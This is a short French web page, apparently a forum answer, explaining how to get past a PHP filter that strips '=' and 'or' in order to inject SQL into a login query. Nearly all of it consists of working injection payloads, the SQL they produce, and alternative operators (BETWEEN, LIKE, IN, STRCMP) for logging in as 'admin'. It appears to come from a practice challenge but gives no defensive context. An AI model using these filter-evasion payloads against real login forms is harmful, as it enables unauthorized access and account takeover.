Mysql
 sql >> Base de données >  >> RDS >> Mysql

Injection SQL avec filtrage php

En supposant cette définition de lvl2_filter , qui supprime essentiellement toute occurrence de = et or jusqu'à ce qu'il ne soit plus trouvé, il devrait toujours être possible d'utiliser le opération OU logique avec || au lieu de OR et une expression simple qui prend la valeur true comme :

username: dummy
password: ' || '1

Cela se traduirait par :

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

Pour sélectionner un utilisateur spécifique, on peut utiliser les règles de l'algèbre booléenne , où x=y =!(x!=y) :

username: dummy
password: ' || NOT(username<>'admin') AND '1

Cela se traduirait par :

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

Ici <> est équivalent à != mais ne contient pas de = .

Il existe également d'autres opérations que l'on pourrait utiliser pour garantir nom d'utilisateur est égal à admin :

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END